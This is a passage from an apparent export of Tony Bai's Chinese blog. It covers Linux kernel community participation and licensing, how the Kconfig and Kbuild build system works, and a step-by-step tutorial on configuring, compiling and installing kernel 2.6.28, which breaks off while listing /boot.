it)的发行版中。你无需考虑驱动盘、下载或支持不同发行版的多个版本的麻烦事；这对于开发者和最终用户而言都是奏效的。代码合入主线版本解决了大量发行 版以及支持的问题。\n* 尽管内核开发者们努力维护一个稳定的对用户空间的接口，但内部的内核API却是不断变化的。内部接口的不稳定性其实是一种蓄意的设计决策；它允许开发者们 随时做出根本性的改进，而这样做的结果将是获得更高质量的代码。不过这样的策略导致的一个结果就是任何离树代码要想和新内核一起工作就必须要有持 续的维护。维护离树代码就需要大量的工作，而这些工作仅仅是为了能让代码正常工作。\n相反，主线中的代码则不需要开发人员去修正那些因API变化而被破坏的代码。因此合并到主线的代码具有更低的维护成本。\n* 除此之外，内核中的代码经常被其他开发人员改进。授权你的用户社区与客户去改进你的产品常常能带来令人惊讶的结果。\n* 内核代码在合入主线前后都要经过评审。无论原开发者的技术水准有多么高超，评审过程总是能找到改进代码的方法。评审过程常常会发现严重bug以及安全问 题。这些结论对那些在封闭环境下开发出来的代码同样是成立的；这样的代码得益于外部开发者们的评审。而未经外部开发者评审的离树代码则是低质量的 代码。\n* 参与内核开发过程是你影响内核开发方向的一种方式。虽然旁观者的抱怨也会被倾听，但积极的开发者发出的声音显然更强健有力-并且他们具备实现这些改变以让 内核更好地满足他们需要的能力。\n* 当你的代码单独维护时，就存在这种可能性：第三方会贡献类似特性的一个不同的实现。一旦出现这种情况，再将你的代码合并到主线将变得更加困难 – 甚至是不可能。那样你就将面临不愉快的选择，(1)要么长期离树维护一个非标准特性，(2)要么放弃你的代码，让你的用户迁移到主线版本。\n* 贡献代码是整个保证开发过程正常运转的基本行为。通过贡献你的代码，你可以为内核添加新功能，提供能力以及那些对其他内核开发者有用的例子。如果你曾为 Linux开发过代码(或正在考虑这么做)，你肯定对这个平台的持续成功十分感兴趣；而贡献代码就是帮助Linux成功的一种最佳方式。\n上面的所有论证适用于任何离树内核代码，包括那些专有的或仅以二进制形式提供的代码。不过，在考虑发行任何仅二进制形式(binary- only)内核代码之前，你应该考虑下面一些额外因素：\n* 关于发行专有内核模块的法律条款充其量是模糊不清的；相当多的内核版权持有者认为绝大多数仅二进制模块是内核的衍生产品(derived product)，因此他们的发行版违背了GNU通用公共许可证(GNU General Public License，下面还有更多关于这个许可证的说明)。笔者不是律师，本文中的内容千万不能被视为法律建议。闭源(closed-source)模块真正 的法律地位只能由法院判决决定。但无论如何困扰这些模块的不确定性是存在的。\n* 二进制模块增加了调试内核问题的难度，甚至于大多内核开发人员都不愿尝试。因此仅二进制模块的发行将增加你的用户获得社区支持的难度。\n* 对于仅二进制模块的发行者而言，支持也是更为困难的，他们必须为每个他们想要支持的发行版以及内核版本提供一个模块版本。一个模块需要几十个构建才能全面 覆盖到所有发行版和不同版本的内核，并且你的最终用户每次升级内核后都需要单独升级你的这个模块。\n* 上面所说的有关代码评审的内容对闭源代码而言更加适用。但由于代码不公开，无法被社区评审，因此毫无疑问将有严重问题。\n嵌入式系统制造商特别可能被怂恿而忽视本节前面所说的那些内容，因为他们相信他们交付的是一个完备的产品，产品使用的是一个冻结了的内核版本，发 布后不需要再进行更多的开发了。这种说法忽略了被广受赞同的代码评审的价值以及允许最终用户向你的产品中添加能力的价值。但是这些产品的商业生命 周期也都有限，之后必须发布产品的新版本。在这一点上，代码在主线上且维护良好的制造商将占据更好的位置，并且可以更快地推出满足市场的新产品。\n1.5、许可证\n代码在若干许可证的授权下被贡献到Linux内核中，但所有代码必须与作为Linux内核整体许可证的GNU通用公共许可证版本2(GPLv2) 兼容。实际上，这意味着所有贡献的代码要么遵照GPLv2许可证(可选的，语言允许在更高版本的GPL许可证下发布)，要么遵照三句版BSD许可 证。任何不遵照兼容许可证的贡献代码将不能被内核所接受。\n对于贡献到内核中的代码，是不需要进行版权转让的。所有合入主线内核的代码保留其最初的所有权；因此内核目前已经有成千上万个所有者了。\n这种所有权结构的一个含义是任何修改内核许可证的尝试是几乎注定会失败的。几乎没有什么实际情况可以得到所有版权所有者的同意(或者将他们的代码 从内核中移除)。因此，在可见的未来，看不到将许可证迁移到GPL版本3的希望。\n所有贡献到内核的代码必须是正当的自由软件。因此，来自匿名(或笔名)的贡献者的代码将不会被接受。所有贡献者都被要求在他们的代码上\u0026quot;签别\u0026quot;， 声明代码可与内核一起在GPL许可证下发行。那些没有被其原作者授权为自由软件的代码或存在版权相关问题风险的代码(例如那些从通过反向工程努力 获得的缺少适当保障的代码)将不能被贡献到内核中。\n在Linux开发邮件列表中经常看到有关版权事宜相关的问题。这些问题一般不会缺少回答，但大家应该牢记回答这些问题的人不是律师，不能提供法律 建议。如果你有任何与Linux源代码相关的法律问题，你唯一的选择是与熟知这一领域的律师谈谈。依赖从技术邮件列表中获得的答案是一个危险的事情。\n","permalink":"https://tonybai.com/2012/03/27/how-to-participate-linux-community-section-1/","summary":"\u003cp\u003e本文翻译自The Linux Foundation的《\u003ca href=\"http://www.linuxfoundation.org/content/how-participate-linux-community-0\"\u003eHow to Participate in the Linux Community\u003c/a\u003e》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(\u003ca href=\"mailto:corbet@lwn.net\"\u003ecorbet@lwn.net\u003c/a\u003e)。下面是该文章第一章节的中译文。\u003c/p\u003e","title":"如何加入Linux内核开发社区(1)"},{"content":"挖掘简单现象背后的复杂本质。– Tony Bai^_^\n上文讲到Linux Kernel的配置和编译十分简单，甚至简单到可以与一个用户层应用相媲美。这一切都是因为Linux Kernel实现了一套易于使用、变更和后期维护的配置和编译体系。要知道最新Linux Kernel版本的代码量可是千万级别的，并且模块众多，其背后的配置和编译体系一定不那么简单，这次我们就来尝试Hack一下这套体系。\n作为操作系统内核级系统软件，Linux Kernel在设计配置和编译体系时至少应该有如下几点考虑：\n* 满足配置和编译内核以及内核模块的所有需求\n* 较高的运行效率\n* 配置阶段和编译阶段平滑结合\n* 对内核开发者来说，这套体系应该易用、易变、易维护\n* 其设计本身应该做到层次清晰\n从配置和编译Linux Kernel所使用的命令来看，Linux Kernel的配置和编译体系总体上还是基于GNU Make的，没有另外使用其他的编译工具(比如Scons、CMake等)。但Linux Kernel实现了Kconfig和Kbuild，用于辅助内核的配置和编译。\nKconfig，顾名思义，用于辅助2.6以后版本Linux内核的配置(Kernel config)；Kbuild，也物如其名，用于辅助2.6以后版本Linux内核的编译(Kernel build)。这里索性将Kconfig和Kbuild称作辅助工具(不单纯叫脚本或配置文件)，因为它们自身既有逻辑概念，又有物理存在。如果你曾在Linux Kernel的源码目录中徜徉过，你就会知道Kconfig文件散布在核心源码的各个角落；Kbuild文件还好，只在顶层目录、include目录下子目录、drivers下子目录以及各个arch/$ARCH/include的子目录中分布。\n如果Linux Kernel没有引入Kconfig和Kbuild，那么本篇文章就没有了存在的必要性 – Makefile纵使数量众多，也是可以慢慢消化的，毕竟Make的规则就那么多。但Kconfig和Kbuild的引入好似为Linux Kernel配置和编译引入了一层抽象，对外(Linux核心开发者)确实是简单了，但对于我这样的要Hack编译体系的人来说，这层抽象本身就具有一定复杂性，势必需要耗时耗力地去理解。下面我们就来结合不同阶段的使用场景来深入理解一下Kconfig和Kbuild。\n一、make *config阶段\nLinux Kernel的配置项都存储于散布在Kernel源码各处的Kconfig文件中。Kconfig文件之于Linux Kernel就好比configure.ac或Makefile.am之于那些使用autotools作为构建工具的用户层应用，至少设计思路是类似的 – 先config，再make；make阶段会利用config阶段生成的一些文件。\nKconfig既是配置文件，也是一种配置语言，可以理解为是一种针对Linux Kernel配置的领域特定语言(DSL)。Documentation/kbuild/kconfig-language.txt文件对该种配置语言做了详尽的使用说明，这里就不做赘述了。我们主要关注的是Kconfig在配置过程中所扮演的角色以及对输出的结果的影响。\nLinux Kernel的配置过程也是在make的驱动下开始的，我们以\u0026quot;make menuconfig\u0026quot;的执行过程为例。\n1、首先，顶层Makefile通过分析$(MAKECMDGOALS)判定\u0026quot;menuconfig\u0026quot;为config-targets，而非build-target或mixed-target(诸如make defconfig all这样的命令)；\n2、\u0026ldquo;menuconfig\u0026quot;与Makefile中预置target进行匹配\nmenuconfig会匹配到Makefile中的\u0026quot;config %config\u0026rdquo;，下面是有关这个target的源码节选：\ninclude $(srctree)/scripts/Kbuild.include\n… …\ninclude $(srctree)/arch/$(SRCARCH)/Makefile\nexport KBUILD_DEFCONFIG KBUILD_KCONFIG\nconfig %config: scripts_basic outputmakefile FORCE\n$(Q)mkdir -p include/linux include/config\n$(Q)$(MAKE) $(build)=scripts/kconfig $@\n\u0026ldquo;config %config\u0026quot;有三个依赖项：scripts_basic、outputmakefile和FORCE。其中outputmakefile、FORCE是两个空目标，而有关scripts_basic target的源码如下：\n# Basic helpers built in scripts/\nPHONY += scripts_basic\nscripts_basic:\n$(Q)$(MAKE) $(build)=scripts/basic\nscripts_basic target的构建实际上就是编译scripts/basic下的源文件。build变量在scritps/Kbuild.include中定义，其值为\u0026rdquo;-f $(if $(KBUILD_SRC),$(srctree)/)scripts/Makefile.build obj\u0026quot;，所以上述命令展开后就是\u0026quot;make -f scripts/Makefile.build obj=scripts/basic\u0026quot;。scripts/Makefile.build这个文件在整个Linux Kernel编译过程中占据极其重要的位置，其定义了核心编译的主要target(如.o、.s等)的构建命令规则。\n3、menuconfig目标的构建\n在依赖项scripts_basic构建完毕后，Make驱动执行menuconfig目标的构建：\n首先，创建两个目录include/linux和include/config，然后执行\u0026quot;make -f scripts/Makefile.build obj=scripts/kconfig menuconfig\u0026quot;。target依旧是\u0026quot;menuconfig\u0026quot;，但scripts/Makefile.build中似乎并没有这个target可供匹配啊。别急，我们看看scripts/Makefile.build中的这段代码：\nsrc := $(obj)\n… …\n# The filename Kbuild has precedence over Makefile\nkbuild-dir := $(if $(filter /%,$(src)),$(src),$(srctree)/$(src))\nkbuild-file := $(if $(wildcard $(kbuild-dir)/Kbuild),$(kbuild-dir)/Kbuild,$(kbuild-dir)/Makefile)\ninclude $(kbuild-file)\n这是一段关键代码，kbuild-dir的求值结果为scripts/kconfig，由于scripts/kconfig下没有Kbuild文件，进而kbuild-file求值结果为scripts/kconfig/Makefile，并且该文件被Makefile.build包含了进来。从kbuild-file这个变量的命名可以看出为何各个子目录下的Makefile被称为Kbuild Makefile了。\nscripts/kconfig/Makefile中包含了许多*config targets，其中就有\u0026quot;menuconfig\u0026quot;这个target：\nifdef KBUILD_KCONFIG\nKconfig := $(KBUILD_KCONFIG)\nelse\nKconfig := arch/$(SRCARCH)/Kconfig\nendif\n… …\nmenuconfig: $(obj)/mconf\n$\u0026lt; $(Kconfig)\n该目标依赖scripts/kconfig/mconf，这是一个小工具程序，Make会首先执行该程序的编译链接；然后执行\u0026quot;scripts/kconfig/mconf arch/x86/Kconfig\u0026quot;($\u0026lt;是一个自动变量，指代该target的第一个依赖项，这里是scripts/kconfig/mconf)。\n4、\u0026ldquo;scripts/kconfig/mconf arch/x86/Kconfig\u0026quot;的执行过程\n到这里，Kconfig配置文件终于登场了！scripts/kconfig/mconf读取arch/x86/Kconfig，后者是一个针对x86这一体系的顶层Kconfig文件，打开arch/x86/Kconfig后，你会发现它内部source了许多其他Kconfig文件，诸如：\n….\nsource \u0026ldquo;init/Kconfig\u0026rdquo;\nsource \u0026ldquo;kernel/time/Kconfig\u0026rdquo;\nsource \u0026ldquo;mm/Kconfig\u0026rdquo;\n…\nmconf会依次读入这些子Kconfig文件，并将配置项的符号表建立起来。如果你是第一次进行Linux Kernel配置，尚没有.config文件，那么这些配置项的初始值从哪里得到呢(不是所有配置项都有默认值)？在init/Kconfig文件中，你会看到这样的配置项：\nconfig DEFCONFIG_LIST\nstring\ndepends on !UML\noption defconfig_list\ndefault \u0026ldquo;/lib/modules/$UNAME_RELEASE/.config\u0026rdquo;\ndefault \u0026ldquo;/etc/kernel-config\u0026rdquo;\ndefault \u0026ldquo;/boot/config-$UNAME_RELEASE\u0026rdquo;\ndefault \u0026ldquo;$ARCH_DEFCONFIG\u0026rdquo;\ndefault \u0026ldquo;arch/$ARCH/defconfig\u0026rdquo;\nmconf应该就是通过这个DEFCONFIG_LIST配置项找到一份默认config文件的，mconf自上而下依次尝试，直到对应的文件存在，就将存在的文件作为默认.config加载，为各个配置项赋值。在我的RHEL 5.5上$ARCH-DEFCONFIG被作为默认.config加载了；而在我的Ubuntu 10.04上，mconf找到的是/boot/config-2.6.32-30-generic。下面是在RHEL 5.5上执行make menuconfig后控制台的输出结果：\n$ make menuconfig\nscripts/kconfig/mconf arch/x86/Kconfig\n# using defaults found in arch/x86/configs/x86_64_defconfig\n# configuration written to .config\n*** End of Linux kernel configuration.\n5、生成.config文件\n手工完成配置后，如果选择了save配置，那么在源码顶层目录下会生成一个.config文件，这个就是整个Kernel配置过程的最重要的输出，这类似用户层应用在configure之后生成的Makefile，.config文件实际上也是一个Makefile文件，只是其内容格式比较单一罢了(都是CONFIG_XXX=y形式的变量定义)。\n至此，Linux Kernel的配置过程Hack结束了，其他*config target执行过程也是大同小异的，再总结一下make menuconfig配置的执行过程：\n* 首先建立include/config目录，并编译scripts/basic下的一些工具；\n* 然后编译scripts/kconfig下的工具，比如mconf等\n* 执行scripts/kconfig/mconf arch/x86/Kconfig，该程序会生成.config\n二、make all阶段\nMake *config后，Kconfig文件的使命就算是结束了。剩下的Makefile和Kbuild文件将会在make all阶段扮演重要角色。前面说过Kbuild本身就是Makefile，分布在各个子目录中Makefile也被称为Kbuild Makefile,其实还是Makefile，总而言之，Make all阶段其实就是关于Makefile的事情了。只不过Linux Kernel的整个Makefile组织体系设计的很精巧，特别是与配置阶段输出的结果配合的天衣无缝，下面我们就来具体看看吧。\n在顶层的Makefile中，我们可以直接定位到Make all的target，不过有两个，依次是：\nall: vmlinux\nall: modules\nMake会自动合并all的依赖项，并依次对依赖项进行构建，就类似这样：\nall: foo1\nall: foo2\nfoo1:\n@echo \u0026ldquo;foo1\u0026rdquo;\nfoo2:\n@echo \u0026ldquo;foo2\u0026rdquo;\n$\u0026gt; make\nfoo1\nfoo2\n而vmlinux这个target是什么情况呢？见下面代码摘要：\n# vmlinux image – including updated kernel symbols\nvmlinux: $(vmlinux-lds) $(vmlinux-init) $(vmlinux-main) vmlinux.o $(kallsyms.o) FORCE\n… …\n$(call vmlinux-modpost)\n$(call if_changed_rule,vmlinux__)\n$(Q)rm -f .old_version\n… …\n# The actual objects are generated when descending,\n# make sure no implicit rule kicks in\n$(sort $(vmlinux-init) $(vmlinux-main)) $(vmlinux-lds): $(vmlinux-dirs) ;\n从代码中可以看到vmlinux有若干个依赖项，我们沿着这些依赖项继续\u0026quot;深度\u0026quot;搜索，你会发现这是一个\u0026quot;不算浅\u0026quot;的依赖项树型结构，树的根节点就是vmlinux。由于这棵树太过\u0026quot;枝繁叶茂\u0026rdquo;，所以这里只想针对重要且关键的依赖项进行分析。\n1、prepare\n这个phony target是$(vmlinux-dirs)的依赖项，顾名思义，在真正地编译之前做些准备工作。目前所有的准备工作被划分到从prepare0到prepare3的多个phony targets中了，形成一个链式依赖关系，这么做也便于日后扩展：再增加一个prepare-n非常容易。\n在prepare的过程中有若干的重要的文件被生成了：\ninclude/linux/version.h: $(srctree)/Makefile FORCE\n$(call filechk,version.h)\ninclude/linux/utsrelease.h: include/config/kernel.release FORCE\n$(call filechk,utsrelease.h)\ninclude/config/kernel.release: include/config/auto.conf FORCE\n$(Q)rm -f $@\n$(Q)echo $(kernelrelease) \u0026gt; $@\ninclude/config/auto.conf: $(KCONFIG_CONFIG) include/config/auto.conf.cmd\n$(Q)$(MAKE) -f $(srctree)/Makefile silentoldconfig\n其中include/config/auto.conf依赖$(KCONFIG_CONFIG)和include/config/auto.conf.cmd，顶层Makefile中设置了auto.conf.cmd这个target的空规则：\n# To avoid any implicit rule to kick in, define an empty command\n$(KCONFIG_CONFIG) include/config/auto.conf.cmd: ;\n这样实际上include/config/auto.conf在auto.conf.cmd尚未被创建的情况下只是依赖配置阶段输出的.config文件(KCONFIG_CONFIG ?= .config)。而Kernel配置后，auto.conf也未被创建，因此在这里Make执行创建auto.conf的命令：make -f Makefile silentoldconfig，该命令的执行结果是auto.conf、auto.conf.cmd、include/linux/autoconf.h以及include/config下的诸多空头文件被创建了出来。\n2、$(vmlinux-dirs)\n$(vmlinux-dirs)是一个非常重要的target，$(vmlinux-init)、$(vmlinux-main)、$(vmlinux-lds)都依赖$(vmlinux-dirs)。\ninit-y := init/\ndrivers-y := drivers/ sound/ firmware/\nnet-y := net/\nlibs-y := lib/\ncore-y := usr/\n… …\ncore-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/\nvmlinux-dirs := $(patsubst %/,%,$(filter %/, $(init-y) $(init-m) \\\n$(core-y) $(core-m) $(drivers-y) $(drivers-m) \\\n$(net-y) $(net-m) $(libs-y) $(libs-m)))\nPHONY += $(vmlinux-dirs)\n$(vmlinux-dirs): prepare scripts\n$(Q)$(MAKE) $(build)=$@\n此时vmlinux-dirs的值是一组目录集合，诸如init usr kernel mm fs ipc security crypto block drivers sound firmware net lib等。Makefile将这些目录名视为phony target。这样$(vmlinux-dirs): prepare scripts这个规则实际上就是一个multiple targets规则，会被多次执行的，即会对每个target执行一次\u0026quot;$(Q)$(MAKE) $(build)=$@\u0026quot;。我们以init这个phony target为例展开命令：make -f $(if $(KBUILD_SRC),$(srctree)/)scripts/Makefile.build\nobj=init，该命令将根据Makefile.build中定义的规则对init目录进行编译。Makefile.build规则中的默认phony target为__build：\nPHONY := __build\n__build: $(if $(KBUILD_BUILTIN),$(builtin-target) $(lib-target) $(extra-y)) \\\n$(if $(KBUILD_MODULES),$(obj-m) $(modorder-target)) \\\n$(subdir-ym) $(always)\n@:\n__build\u0026quot;复杂\u0026quot;的依赖项会将必要的目标包含进来，其中较关键的是builtin-target这个目标：\nifneq ($(strip $(obj-y) $(obj-m) $(obj-n) $(obj-) $(lib-target)),)\nbuiltin-target := $(obj)/built-in.o\nendif\n# Rule to compile a set of .o files into one .o file\nifdef builtin-target\nquiet_cmd_link_o_target = LD $@\n# If the list of objects to link is empty, just create an empty built-in.o\ncmd_link_o_target = $(if $(strip $(obj-y)),\\\n$(LD) $(ld_flags) -r -o $@ $(filter $(obj-y), $^) \\\n$(cmd_secanalysis),\\\nrm -f $@; $(AR) rcs $@)\n$(builtin-target): $(obj-y) FORCE\n$(call if_changed,link_o_target)\ntargets += $(builtin-target)\nendif # builtin-target\n这样每个子目录(诸如mm、init等)下的主要目标就是built-in.o，其依赖的是$(obj-y)，展开后其实是一个.o文件列表。\n这里还要提一点，那就是配置阶段的输出是如何与Build阶段结合的，我们还是看一下init/Makefile，这里节选一些代码：\nobj-$(CONFIG_GENERIC_CALIBRATE_DELAY) += calibrate.o\nmounts-$(CONFIG_BLK_DEV_RAM) += do_mounts_rd.o\nmounts-$(CONFIG_BLK_DEV_INITRD) += do_mounts_initrd.o\nmounts-$(CONFIG_BLK_DEV_MD) += do_mounts_md.o\n可以看到.config中的配置项的值将各个.o文件分为几个类别，如果配置项值为y，则对应的.o文件归为obj-y列表；如果为m，则对应的.o文件归为obj-m列表，诸如此类(包括lib-y、lib-m、subdir-y、subdir-m等)。这样我们就可以通过调整配置项的值来选择是否将某功能编译到Linux Kernel中，还是以Kernel module形式存在，让人叹为观止！\n3、$(vmlinux-lds)\n在顶层Makefile源码中vmlinux-lds := arch/$(SRCARCH)/kernel/vmlinux.lds，vmlinux.lds是vmlinux的linker script。vmlinux.lds也是在构建$(vmlinux-dirs)目标时被构建出来的。\n$(vmlinux-dirs)中包含arch/x86，而在arch/x86/Makefile中，我们发现了这行代码：\ncore-y += arch/x86/kernel/\n这样arch/x86/kernel被纳入编译，而vmlinux.lds就是arch/x86/kernel/Makefile中变量extra-y的一个值：\nextra-y := head_$(BITS).o head$(BITS).o head.o init_task.o vmlinux.lds\nvmlinux.lds会被构建，而.lds目标构建规则在scripts/Makefile.build中：\n# Linker scripts preprocessor (.lds.S -\u0026gt; .lds)\n# —————————————————————————\nquiet_cmd_cpp_lds_S = LDS $@\ncmd_cpp_lds_S = $(CPP) $(cpp_flags) -D__ASSEMBLY__ -o $@ $\u0026lt;\n$(obj)/%.lds: $(src)/%.lds.S FORCE\n$(call if_changed_dep,cpp_lds_S)\nOK，vmlinux.lds的来龙去脉也算是搞清楚了。\n4、其他\nvmlinux的依赖还包括vmlinux-init、vmlinux-main以及vmlinux.o，见下面顶层Makefile的节选代码：\nvmlinux-init := $(head-y) $(init-y)\nvmlinux-main := $(core-y) $(libs-y) $(drivers-y) $(net-y)\nmodpost-init := $(filter-out init/built-in.o, $(vmlinux-init))\nvmlinux.o: $(modpost-init) $(vmlinux-main) FORCE\n$(call if_changed_rule,vmlinux-modpost)\n有了vmlinux-dirs那节的说明，这些依赖项的构建也是大同小异的。\n当vmlinux的所有依赖项都构建完毕后，vmlinux的创建也就水到渠成了，这里就不多说了。\n总而言之，Linux Kernel简单配置和编译的背后其实还是蛮复杂的，如果要挖掘细节，即使有了上面的Hack，也还是会耗费你一定时间的^_^。\n","permalink":"https://tonybai.com/2012/03/18/linux-kernel-hacking-series-kconfig-and-kbuild/","summary":"\u003cp\u003e\u003cstrong\u003e\u003cem\u003e挖掘简单现象背后的复杂本质。\u003c/em\u003e\u003c/strong\u003e– Tony Bai^_^\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/2012/03/15/linux-kernel-hacking-series-kernel-config-compile-and-install/\"\u003e上文\u003c/a\u003e讲到\u003ca href=\"http://kernel.org/\"\u003eLinux Kernel\u003c/a\u003e的配置和编译十分简单，甚至简单到可以与一个用户层应用相媲美。这一切都是因为Linux Kernel实现了一套易于使用、变更和后期维护的配置和编译体系。要知道最新Linux Kernel版本的代码量可是千万级别的，并且模块众多，其背后的配置和编译体系一定不那么简单，这次我们就来尝试Hack一下这套体系。\u003c/p\u003e","title":"也谈Linux Kernel Hacking – Kconfig与Kbuild"},{"content":"Linux Kernel之于C程序员，就好比世界之巅珠穆朗玛之于专业登山客。 — Tony Bai^_^\n作为到目前为止最为成功的开源项目，Linux Kernel总是散发着无穷的魅力，就好比那珠穆朗玛，让人魂牵梦绕，心潮澎湃并总是想尝试征服。\n记得2006年初我曾花了些时间研究Linux Kernel，但后来迷失在了Linux Kernel引导阶段，无法自拔，最终选择了\u0026quot;知难而退\u0026quot;。如今，随着我们的产品越来越多地运行在Linux主机上，我又愈发感觉自己对Linux底层了解得不够深入，于是我又一次开启了Linux Kernel Hacking的征程。\n经过这几年的发展，Linux Kernel变得更加复杂了，版本也从当时的2.6.x演进到今天的3.2.x(3.3正在开发中)。但相应地，Linux Kernel方面的资料也多了许多，这对我的Hacking显然是利好消息，至少目前手头上就有几本\u0026quot;大砖头\u0026quot;可作为参考(Linux Kernel方面的书籍均具有防身之特性^_^)。\n这次Hacking前先给自己设定了几个目标(也算是想清楚为何要这么做)：\n* 追溯本源\n用Linux内核运转原理解释上层应用的行为并指导上层应用的开发。\n* 定制优化\n在对Linux Kernel有了深入了解之后，尝试定制适合产品特性的Linux内核。\n* 走进内核开发，尝试提交补丁\n对我个人来说，这算是在Linux Kernel领域的终极目标了。每天重复念叨这个目标，就相当于给自己打鸡血了，让自己始终保持兴奋劲儿。\n以上这些目标显然不是短期内能达成的，饭还得一口一口吃，路还得一步一步走。今天我就迈出这第一步：编译一个属于自己的Linux内核。\n经过这么多年的发展，Linux Kernel的编译已经简化了许多了，甚至简化到了让我觉得有些吃惊的地步(在我原先的意识中，Linux Kernel的编译是件很复杂的事情^_^)。\n编译内核是Linux Kernel开发者的基本活动，几乎所有Kernel开发者都是在自己编译的内核上工作的。下面我就详细说明一下Linux Kernel的配置、编译和安装过程。\n一、准备工作\n1、准备一台装有Linux的PC\n不建议在Windows或Solaris下编译Linux Kernel，那样只会自找麻烦。Linux Kernel在Linux下编译才是正路(除非你真的要做跨平台交叉编译)。我这里用了一台运行在XenServer 5.6 p2上的装有Red Hat Enterprise Linux(RHEL) 5.5的虚拟机。在该虚拟机上执行\u0026rsquo;uname -r\u0026rsquo;，可以得到当前Linux内核版本信息为：2.6.18-194.el5xen。\n2、获取内核源码包\nLinux Kernel，特别是之前发布的稳定版内核，几乎都可以100%的顺利通过编译。为了能与手头资料\u0026quot;兼容\u0026quot;，我选择了2.6.28版本内核。Linux Kernel的发布版本可在http://www.kernel.org/pub/linux/kernel下找到，这里执行下面命令获取源码：\nwget -c http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.gz\n下载后的源码包无需放在系统目录(/usr/src/linux)下，在你自己的普通权限用户下建立一个临时目录存放源码包即可，比如我们在/home/tonybai下建立linux-kernel目录，将下载的linux-2.6.28.tar.gz放入该目录中，解压后(tar xvzf linux-2.6.28.tar.gz)，我们会看到：\n/home/tonybai/linux-kernel$ ls\nlinux-2.6.28/ linux-2.6.28.tar.gz\n3、检查编译内核所依赖的工具及版本是否满足要求\n在linux-2.6.28/Documentation/Changes中有该版本内核编译所依赖的工具以及最低版本信息列表，需确认一下当前主机上是否安装了这些工具，版本是否满足最低要求。通过linux-2.6.28/scripts/ver_linux可以快速获取当前主机上各个工具以及当前版本的信息，可将这些信息与编译该内核的最低版本比对，以确定是否需要安装或升级工具版本。\n二、配置内核\nLinux Kernel的编译有些类似于那些使用autotools创建构建脚本的开源包，需要先Configure，然后make和make install。不同的是Linux Kernel的\u0026quot;Configure\u0026quot;要稍显\u0026quot;复杂\u0026quot;，毕竟与普通开源包相比，Linux Kernel算得上是一个庞然大物了。不过Linux Kernel的开发者们显然在这方面也做了很多工作，通过提供各种命令和默认配置来简化配置过程，下面是常用的几个配置命令。\n* make config\n这个是最基本的配置命令，同时也是配置过程最复杂、耗时最长的配置命令。该命令会将Linux Kernel所有配置项逐一在控制台窗口输出，并让你作出yes、no或是module的选择。我查看了一下RHEL 5.5的配置项个数，总共有2300多项，想必这个过程下来，你已经筋疲力尽了。所以除了某些特殊情况，我们是不会使用这个命令的。该命令会在linux-2.6.28目录下面创建一个.config隐藏文件，该文件存储了你的配置选择，类似这样：\n# .config\n# Automatically generated make config: don\u0026rsquo;t edit\n# Linux kernel version: 2.6.28\n# Wed Mar 14 17:13:23 2012\n# CONFIG_64BIT is not set\nCONFIG_X86_32=y\n# CONFIG_X86_64 is not set\nCONFIG_X86=y\nCONFIG_ARCH_DEFCONFIG=\u0026ldquo;arch/x86/configs/i386_defconfig\u0026rdquo;\nCONFIG_GENERIC_TIME=y\n… …\n* make defconfig\n一个一个选择配置太累，内核开发者显然也不原意这样做，因此内核提供了另外一个命令make defconfig。这个命令会为你生成一份默认的.config文件，而整个过横无需你作出任何选择。而实际上该命令是直接将arch/x86/configs/i386_defconfig或x86_64_defconfig(以x86平台为例)拷贝为.config放在linux-2.6.28下面。\n* make menuconfig\n虽然有了默认配置，但开发者总是有修改配置的需求。内核提供了make menuconfig命令，允许开发者以图形界面(基于ncurses)的形式修改特定的配置项。根据大家的喜好不同，内核还提供了基于gtk+图形界面的make gconfig和基于X11图形界面的make xconfig来修改配置项，这两个命令在功用上与make menuconfig是等同的。\n另外还有一种方法配置内核，那就是直接使用Linux发行版自带的.config或其他开发者的.config来配置你的内核。如果你是第一次配置内核，建议直接使用所在主机的Linux的.config。我所用的Linux的.config文件在/usr/src/kernels/2.6.18-194.el5-xen-x86_64下面。不过由于我下载的Kernel版本是2.6.28，与该.config不匹配，所以还需执行\u0026rsquo;make\noldconfig\u0026rsquo;命令来更新配置。该命令会保留.config已有的配置项的值，而对于新Kernel版本引入的新配置项提供交互式的选择。我用的就是这种方法：\n$ make oldconfig\nscripts/kconfig/conf -o arch/x86/Kconfig\n# configuration written to .config\n三、编译内核\n配置好内核后，我们就可以执行内核编译了，和上层应用一样，只需一个Make就好。\n$ make\n… ..\nCC arch/x86/boot/tty.o\nCC arch/x86/boot/video.o\nCC arch/x86/boot/video-mode.o\nCC arch/x86/boot/version.o\nCC arch/x86/boot/video-vga.o\nCC arch/x86/boot/video-vesa.o\nCC arch/x86/boot/video-bios.o\nLD arch/x86/boot/setup.elf\nOBJCOPY arch/x86/boot/setup.bin\nOBJCOPY arch/x86/boot/vmlinux.bin\nHOSTCC arch/x86/boot/tools/build\nBUILD arch/x86/boot/bzImage\nRoot device is (8, 1)\nSetup is 10988 bytes (padded to 11264 bytes).\nSystem is 3561 kB\nCRC f4d6ad54\nKernel: arch/x86/boot/bzImage is ready (#1)\nBuilding modules, stage 2.\nMODPOST 3 modules\nCC arch/x86/kernel/test_nx.mod.o\nLD [M] arch/x86/kernel/test_nx.ko\nCC drivers/hid/hid-dummy.mod.o\nLD [M] drivers/hid/hid-dummy.ko\nCC drivers/scsi/scsi_wait_scan.mod.o\nLD [M] drivers/scsi/scsi_wait_scan.ko\n整个编译过程(非跨平台交叉编译，只是本地编译)大约20多分钟，编译成功后，我们得到了许多新文件，其中重要的文件有：\nlinux-2.6.28/vmlinux\nlinux-2.6.28/System.map\nlinux-2.6.28/arch/x86/boot/bzImage\n其中bzImage就是我们编译好的可引导的、压缩的Linux内核映像文件。而System.map则是内核符号表文件，vmlinux是未经压缩的内核文件。\n四、安装内核\n安装内核与配置、编译内核不同，它需要root权限。切换到root后，我们首先需要安装的是内核模块，内核模块将会被安装到/lib/modules下面：\n$make modules_install\n… …\n$ls -l /lib/modules/\n总计 8\ndrwxr-xr-x 6 root root 4096 11-17 15:14 2.6.18-194.el5xen/\ndrwxr-xr-x 3 root root 4096 03-14 08:58 2.6.28\n接下来就可以安装内核了。不过在安装之前，我们先看看当前系统内核文件是什么样子、Grub的配置又是怎样的：\n$ ls -l /boot\n-rw-r–r– 1 root root 66548 2010-03-17 config-2.6.18-194.el5xen\n-rw——- 1 root root 3397337 11-17 15:14 initrd-2.6.18-194.el5xen.img\n-rw-r–r– 1 root root 1208685 2010-03-17 System.map-2.6.18-194.el5xen\n-rw-r–r– 1 root root 2047518 